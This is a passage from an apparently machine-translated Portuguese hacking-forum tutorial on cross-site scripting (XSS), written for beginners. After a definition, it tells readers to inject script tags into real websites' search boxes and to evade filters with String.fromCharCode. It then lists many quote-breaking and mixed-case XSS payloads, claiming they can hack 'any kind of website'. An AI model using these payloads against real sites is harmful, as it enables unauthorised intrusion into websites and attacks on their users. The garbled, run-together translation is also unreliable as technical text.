de hackers comigo.Vou tentar fazer isso o mais breve possivel, abrangendo apenas o basico para que ele ajuda a noobs a entender ;pEntao vou comecar como sempreO que e XSS?Aqui esta o wikipedia diz:Cross-site scripting (XSS) e um tipo de computador vulnerabilidade de seguranca normalmente encontrados em aplicacoes web que permite que atacantes para injetar client-side script em paginas da Web vistos por outros usuarios. Um cross-site scripting vulnerabilidade pode ser usada por crackers para contornar os controles de acesso, como a politica de mesma origem. Cross-site scripting realizadas em sites responderam por aproximadamente 80,5% de todas as vulnerabilidades de seguranca documentadas pela Symantec a partir de 2007. [1] O seu efeito pode variar de um incomodo pequeno para um risco de seguranca significativo, dependendo da sensibilidade dos dados manipulados pelo o site vulneravel ea natureza de qualquer atenuacao de seguranca implementada pelo proprietario do site.Ataque!Assim, nesta secao iremos aprender como usar XSS para ganhar controle sobre alguns website.So isto e para um noob real, que nao sei nada sobre isso SorrindoAssim como em todos os hackers outro, XSS tambem comeca por encontrar uma vulnerability.But voce pode precisar fazer varias coisas para saber se um site e realmente vulneravel.Entao, em primeiro lugar, lembre-se this.A site que tem algo como uma caixa de pesquisa, espaco de login ou qualquer coisa semelhante e mais vulneravel XSS.Portanto, para este primeiro ataque, nos estaremos usando uma caixa de pesquisa.Entao coloque este pequeno pedaco de codigo na caixa e pressione Enter SorridenteCitacao:1<script>alert("XSS")</script>Agora voce pode ver seu script de uma forma muito simples, portanto, incluida no script script tags.The e alertar uma mensagem simples, XSS.Now se uma pequena caixa pop uped dizendo XSS, parabens! Seu site e vulneravel! Agora, se nada aparecer, isso significa que o site tem filtrado filtro it.This pode ser facilmente contornado por us.There muitos tipos de filtros e na maioria das vezes, o seu bloqueio da caixa de alerta.Assim, em seu codigo, voce encerrou a mensagem XSS em dupla quotes.So o sistema sabe que voce esta tentando XSS hackers desde que foi fechado em quotes.So dupla temos para criptografar a nossa mensagem para enganar o sistema inteligente?Entao, agora usamos uma funcao pouco chamado String.fromCharCode Entao, o que isso faz e criptografar o nosso texto para linguagem ASCII .. Aqui esta um exemplo de como parece.:Citacao:String.fromCharCode(88,83,83)Agora 88,83,83 sao valores ASCII para XS S.Check este link para saber a tabela de conversao.http://www.ascii.cl/Nao e necessario que ToungeeEntao, agora digite o codigo recem-formatado na caixa de busca e aperte enter.Citacao:1<script>alert(String.fromCharCode(88,83,83))</script>A coisa especial e que voce nao precisa usar aspas, neste caso, uma vez que esta funcao e usada Agora voce deve obter a caixa pop-up na maioria dos casos.Else ha muitos pedacos de codigo outros que voce pode inserir yourself.You pode fazer codigos e introduza-o se voce sabe alguma codificacao de sorrisoAqui sao pedacos de codigo mais alguns que eu encontrei na net que voce pode usar para fazer isso:Citacao:12345678910111213141516171819202122232425262728"><script>alert("XSS")</script>"><script>alert(String.fromCharCode(88,83,83)) </script>'><script>alert("XSS")</script>'><script>alert(String.fromCharCode(88,83,83))</script><ScRIPt>aLeRT("XSS")</ScRIPt><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt>"><ScRIPt>aLeRT("XSS")</ScRIPt>"><ScRIPt<aLeRT(String.fromCharCode(88,83,83)) </ScRIPt>'><ScRIPt>aLeRT("XSS")</ScRIPt>'><ScRIPt<aLeRT(String.fromCharCode(88,83,83))</ScRIPt></script><script>alert("XSS")</script></script><script>alert(String.fromCharCode(88,83,83) )</script>"/><script>alert("XSS")</script>"/><script>alert(String.fromCharCode(88,83,83))</script>'/><script>alert("XSS")</script>'/><script>alert(String.fromCharCode(88,83,83))</script></SCRIPT>"><SCRIPT>alert("XSS")</SCRIPT></SCRIPT>"><SCRIPT>alert(String.fromCharCode(88,83,8 3))</SCRIPT>">"><SCRIPT>alert("XSS")</SCRIPT></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83 ,83))</SCRIPT>";alert("XSS");"";alert(String.fromCharCode(88,83,83));"';alert("XSS");'';alert(String.fromCharCode(88,83,83));'";alert("XSS")";alert(String.fromCharCode(88,83,83))';alert("XSS")';alert(String.fromCharCode(88,83,83))Essas consultas so deve ser capaz para voce cortar qualquer tipo de websites.Even dos maiores sites pode estar tendo algumas vulnerabilidades XSS que voce